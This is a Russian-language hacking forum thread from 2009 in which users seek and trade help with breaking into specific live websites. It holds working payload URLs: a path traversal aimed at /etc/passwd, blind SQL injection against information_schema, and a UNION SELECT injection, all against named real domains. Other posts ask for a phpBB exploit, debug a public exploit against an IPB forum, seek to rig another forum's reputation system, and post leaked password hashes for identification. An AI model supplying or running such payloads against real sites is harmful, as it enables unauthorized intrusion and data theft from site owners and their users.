Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
  1. j0ker13

    j0ker13 Elder - Старейшина

    Joined:
    28 Jul 2008
    Messages:
    199
    Likes Received:
    16
    Reputations:
    5
    при запросе index.php4?lang=1' выдает ошибку
    Warning: main(lang/inc.lang1'.php): failed to open stream
    при таком запросе index.php4?lang=/../../../../../../../../../../../../../etc/passwd%00 ошибка
    Warning: main(lang/inc.lang/../../../../../../../../../../../../../etc/passwd
    как я понял он не может найти папку inc.lang(( как правильно составить?))
     
  2. none222

    none222 Guest

    Reputations:
    0
    j0ker13. Такого файла нет, в НИКСах вылазит ошибка (может не во всех). Если бы была винда. то ты бы смог прочесть файл
     
    #4422 none222, 4 Jan 2009
    Last edited by a moderator: 4 Jan 2009
  3. j0ker13

    j0ker13 Elder - Старейшина

    Joined:
    28 Jul 2008
    Messages:
    199
    Likes Received:
    16
    Reputations:
    5
    to o3,14um а смысле нет файла?)) если ты про ошибку то я сам перевел что он ругается на отсуствие файла) разве это не иньект?
    мне кажется что он не может найти папку которую я указал выше) т.к. своим запросом исковеркал ее имя))
     
    #4423 j0ker13, 4 Jan 2009
    Last edited: 4 Jan 2009
  4. none222

    none222 Guest

    Reputations:
    0
    Это какбы файл должен быть атким:
    lang/inc.lang1.php

    НО ты изменил запрос на
    lang/inc.lang/
    и теперь имя файла воспринимается как папка, которой не существует. Успез зависит от оси и от других папок, расположенный в этой папке=)

    Если там сеть папка, с началом названия inc.lang то те повезло
     
    1 person likes this.
  5. j0ker13

    j0ker13 Elder - Старейшина

    Joined:
    28 Jul 2008
    Messages:
    199
    Likes Received:
    16
    Reputations:
    5
    2Iceangel_ ога)
    2o3,14um вот и я про тоже)
    кароч вот http://nouveauniveau.com/index.php4?lang=1'
     
  6. prescott

    prescott Elder - Старейшина

    Joined:
    28 Jul 2008
    Messages:
    132
    Likes Received:
    43
    Reputations:
    5
    Еще раз спрошу
     
  7. F4R

    F4R Banned

    Joined:
    20 Jun 2008
    Messages:
    224
    Likes Received:
    46
    Reputations:
    2
    http://eroking.ru/podr.php?gid=2827%27

    как раскрутить?
     
  8. l1ght

    l1ght Elder - Старейшина

    Joined:
    5 Dec 2006
    Messages:
    188
    Likes Received:
    677
    Reputations:
    333
    _eroking.ru/podr.php?gid=2827'+and+ascii(substring((select+table_name+from+information_schema.tables+limit+1),1,1))=67--
    там даже при повторной выборке этого столбца несовместимость типа данных ) копай через другие скрипты
     
  9. F4R

    F4R Banned

    Joined:
    20 Jun 2008
    Messages:
    224
    Likes Received:
    46
    Reputations:
    2
    никанает (((
     
  10. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    Ещё как канает
    http://eroking.ru/podr.php?gid=2827'+and+ascii(substring((select+table_name+from+information_schema.tables+limit+1),1,1))=67+--+

    PS F4R , Мне кажется пора прочитать что-то по скулям. а не просто постить линки с ковычкой и вопросом "как раскрутить"
     
    1 person likes this.
  11. F4R

    F4R Banned

    Joined:
    20 Jun 2008
    Messages:
    224
    Likes Received:
    46
    Reputations:
    2
    да там просто страница с вагиной открывается и всё)
     
  12. bons

    bons Elder - Старейшина

    Joined:
    20 Dec 2007
    Messages:
    286
    Likes Received:
    121
    Reputations:
    21
    там рядом есть инъекция с выводимыми полями
    Code:
    http://eroking.ru/list.php?grp=-1'+union+select+1,2,3,4--+0
     
    #4432 bons, 4 Jan 2009
    Last edited: 4 Jan 2009
    1 person likes this.
  13. R1dex

    R1dex Elder - Старейшина

    Joined:
    17 Sep 2008
    Messages:
    255
    Likes Received:
    132
    Reputations:
    19
    Это как раз и означает, что все "канает".

    Почитай статьи, многие вопросы отпадут.

    /thread43966.html
    http://forum.blackhack.ru/showthread.php?p=2141
     
    1 person likes this.
  14. F4R

    F4R Banned

    Joined:
    20 Jun 2008
    Messages:
    224
    Likes Received:
    46
    Reputations:
    2
    спс обоим +
     
    #4434 F4R, 4 Jan 2009
    Last edited: 4 Jan 2009
  15. DeepBlue7

    DeepBlue7 Elder - Старейшина

    Joined:
    2 Jan 2009
    Messages:
    359
    Likes Received:
    50
    Reputations:
    12
    Подскажите, что за версия форума phpbb.... http://forum.muo.lv/ .. и если можно то сплоит в придачу. =)
     
  16. F4R

    F4R Banned

    Joined:
    20 Jun 2008
    Messages:
    224
    Likes Received:
    46
    Reputations:
    2
    тут смотрел как определить?
    /thread24488.html
     
  17. DeepBlue7

    DeepBlue7 Elder - Старейшина

    Joined:
    2 Jan 2009
    Messages:
    359
    Likes Received:
    50
    Reputations:
    12
    Лан... на это забить можно... )

    Новый вопрос.... юзаж этот сплоит... http://www.milw0rm.com/exploits/2033 вроде все ок... пишет типа резаультаты в txt файл записаны, а никаких файлов на C: не появляется... в чем дело ? мож чот не так делаю ?? Версия форума ipb 2.1.6....
     
    #4437 DeepBlue7, 4 Jan 2009
    Last edited: 4 Jan 2009
  18. DeepBlue7

    DeepBlue7 Elder - Старейшина

    Joined:
    2 Jan 2009
    Messages:
    359
    Likes Received:
    50
    Reputations:
    12
    Все... нашел )
     
  19. waik

    waik Elder - Старейшина

    Joined:
    2 Nov 2008
    Messages:
    404
    Likes Received:
    163
    Reputations:
    12
    У меня проблема.Видел здесь на ачате скрипт чтоб рейтинг поднять на ачате,но мне не надо на ачате .Есть форум там стоит vBulletin® версия 3.7.2. Пытался немного переделать скрипт чтоб он начал крутить на форуме котором я хочу но нечего не выходит .кто знает как накрутить репу вот на етом форуме forum.travian.ru
     
  20. sabe

    sabe Elder - Старейшина

    Joined:
    16 Mar 2007
    Messages:
    313
    Likes Received:
    178
    Reputations:
    14
    Pashkela
    скуля есть. небыло бы не выкладывал

    jokester
    надеялся, но так и думал.. ну как видеш сайт не очень параменистый))

    ElteRUS
    спс знаю что такое оракл)

    [Raz0r]
    хорошая статья

    что это за хешш? )
    ymlZqn3.fIgZ.
    Ac3Jckx5.O.4I
     
    #4440 sabe, 5 Jan 2009
    Last edited: 5 Jan 2009
Thread Status:
Not open for further replies.